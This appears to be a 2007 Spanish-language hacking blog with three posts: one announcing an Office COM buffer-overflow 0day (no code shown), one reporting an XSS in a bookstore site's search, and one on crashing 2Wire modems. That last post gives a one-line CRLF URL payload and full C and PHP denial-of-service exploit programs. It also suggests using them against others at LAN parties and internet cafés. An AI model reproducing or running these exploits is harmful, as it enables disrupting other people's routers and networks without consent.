Mostrando las entradas con la etiqueta exploit. Mostrar todas las entradas
Mostrando las entradas con la etiqueta exploit. Mostrar todas las entradas

miércoles, 13 de junio de 2007

Nuevo 0day - Microsoft Office MSODataSourceControl COM-object BoF PoC

Acaba de salir un nuevo Exploit 0day con el nombre de "Microsoft Office MSODataSourceControl COM-object BoF PoC ", aqui les dejo el codigo y la verdad es que esta muy facil de probar, por lo que no voy a entrar en detalles, aqui se los dejo como lo encontre, su autor es YAG KOHHA.

MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC
Tested on full patched XP/SP2, IE7, MSO2003




POWERITED By Vilchis

jueves, 29 de marzo de 2007

Vulnerabilidad en el Sotano

Jugando por hay me encontré una vulnerabilidad en el sitio web de La librería el Sotano (www.elsotano.com), y es un XSS.

Ya reporte La vulnerabilidad y espero que no hagan caso omiso, ya que se me ocurren varias cosas o formas en las que alguna persona, con no muy buenas intenciones podría sacarle provecho.

Bueno la vulnerabilidad esta en el buscador y la explicaría pero en realidad no tiene mucha ciencia, pero bueno básicamente lo que me di cuenta es que los primeros 45 caracteres son de relleno aunque cumplen un papel importante, ya que son los que verifican y si sobrepasas esa cantidad puedes insertar código para que se muestre en el sitio.

Si quieren ver la vulnerabilidad en acción hagan click aquí.

Y verán algo como lo sig.



También encontré otra cosa un pongo graciosa(aunque muy lógica) si quieren ver el contenido de toda la base de la tienda solo busquen “%%” y les van a salir chorocientasmil paginas de resultados, XD.



Powered By Vilchis.

domingo, 18 de marzo de 2007

Tirando un Dos a router 2wire

Hace tiempo me ya varios meses salio una vulnerabilidad en la cual le puedes hacer un ataque DOS a los módem 2Wire que son los que da telmex(Prodigy) o por lo general los que da.

La vulnerabilidad fue descubierta por el Mexhackteam ya hace varios meses y consiste en enviar paquetes con los caracteres CRLF usados en entornos windows para generar un Retorno de Carro y un Salto de Linea mediante el método GET, el cual al no reconocer como manejarlos y cae en un DOS.

de echo sacaron un exploit y toda la cosa y hasta un wey lo paso a php pero la verdad es que a fin de cuentas el exploit ni se necesita.

Lo único que tenemos que hacer es poner la sig. url en nuestro explorador:

http://home/xslt?PAGE=%0D&0A

y vamos a notar como nos quedamos sin Internet o se cae la red, esto lo que hace es que reinicia nuestro módem o router, esto en donde lo podemos usar pues en la Lan Party jejeje, o en un café Internet, o en cualquier lugar en donde tengan un módem 2wire, que por lo general si tienen prodigy lo tienen. la verdad no recuerdo q modelos son los que presentan la vulnerabilidad, pero bueno que le vamos a hacer.

haci que no hagan mal uso de esta vulnerabilidad.

si a alguien le interesa el código de los exploits aquí los dejo de todas formas:

//Vulnerable:
//2Wire OfficePortal 0
//2Wire HomePortal 1500W
//2Wire HomePortal 100W
//2Wire HomePortal 100S
//2Wire HomePortal 1000W
//2Wire HomePortal 1000SW
//2Wire HomePortal 1000S
//2Wire HomePortal 1000
//2Wire HomePortal 0
////////////////////////////////// [ STARTING CODE ]
////////////////////////////////////////////////////
////
//// [ Explanation ] this PoC make an evil_request
//// and send to the server , when the server process
//// it the request fall him, AND THE MODEM WILL RESET!.
////
//// [ Note ] This Poc was coded using Dev-C++ 4.9.9.2
//// If you have any error with the librarys you need
//// include libws2_32.a at the project.
////
//// Enjoy it n_nU!..
//// Coded by preth00nker (using Mexican skill!)

#pragma comment(lib,"libws2_32.a")
#include
#include
#include
#include "winsock2.h"

unsigned long dir;
char h[]="";
short port;
char badreq[]="";
int state;

int main(int argc, char *argv[])
{
printf("\n################################################\n");
printf("####\n");
printf("#### PoC of DoS 2wire_Gateway\n");
printf("#### By Preth00nker\n");
printf("#### http://www.mexhackteam.org\n");
printf("####\n");
printf("####\n\n");
if (argc<4){
printf("[Usage] %s $Host $Port $Variable\n",argv[0]);
printf("\n[I.E.] %s 192.168.1.254 80 PAGE\n",argv[0]);
return 0;
}
//Crear socket
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
SOCKET wsck;
//Estructuras
struct sockaddr_in Wins;
struct hostent *target;
//Wins
Wins.sin_family=AF_INET;
Wins.sin_port=htons((short)atoi(argv[2]));
target=gethostbyname(argv[1]);
Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr));
//llamamos al socket
wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL);
//Verifica por error
if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;}
printf("Socket creado correctamente!.. hWndl: %d",wsck);
//Conecta
if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){
WSACleanup();
return 0;
printf("\nError al conectar =!..");
}
printf("\nConectado!..");
//Make a bad query and send it ..Mwajuajua!..
strcat(badreq,"GET /xslt?");
strcat(badreq,argv[3]);
strcat(badreq,"=%0D%0A HTTP/1.0\r\n");
strcat(badreq,"Accept-Language: es-mx\r\n");
strcat(badreq,"User-Agent: MexHackTeam\r\n");
strcat(badreq,"Host: ");
strcat(badreq,argv[1]);
strcat(badreq, "\r\n\r\n\r\n");
send(wsck , badreq ,(int)strlen(badreq), 0);
printf("\nDatos Mandados!..");
//finalized
Sleep(100);
printf("\nThat's all, Check this out!...\n");
WSACleanup();
return 0;
}
//////////////////////////////////////////// [ EOF ]
////////////////////////////////////////////////////


Y el codigo en php es el sig:

@ini_set("max_execution_time",0);
print_r('
--------------------------------------------------------------------------------

dos 2wire

Exploit Original por preth00nker

Codeado en php por RootBox.

--------------------------------------------------------------------------------

'
);

if(!empty(
$_REQUEST['router'])) { $router = $_REQUEST['router']; }else{ die("Te falta especificar la direccion IP del router"); }
if(!empty(
$_REQUEST['port'])){ $puerto = $_REQUEST['port']; }else{ die("Te falta especificar el puerto"); }

$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!
$socket) {
echo
"socket_create() fallo: razon: " . socket_strerror($socket) . "
"
; exit(0);
}

$result = @socket_connect($socket, $router, $puerto);

if (!
$result) {
echo
"socket_connect() fallo. razon: (".$result.") " . socket_strerror($result) . "

"
; exit(0);
}

echo
"Conexion establecida
\r\n"
;
echo
"Enviando Paquete....
\r\n"
;

$requestheader = "GET /xslt?PAGE=%0D&0A HTTP/1.0\r\n";
$requestheader .= "Accep-Language: es-mx\r\n";
$requestheader .= "User-Agent: PoCPHP\r\n";
$requestheader .= "Host: ".$router."\r\n\r\n\r\n\r\n";

socket_write($socket, $requestheader, strlen($requestheader));
sleep(4);
socket_close($socket);


echo
"Datos enviados!!!, Talvez ya esta off.. prubea";
?>


Writed by Edgar Vilch...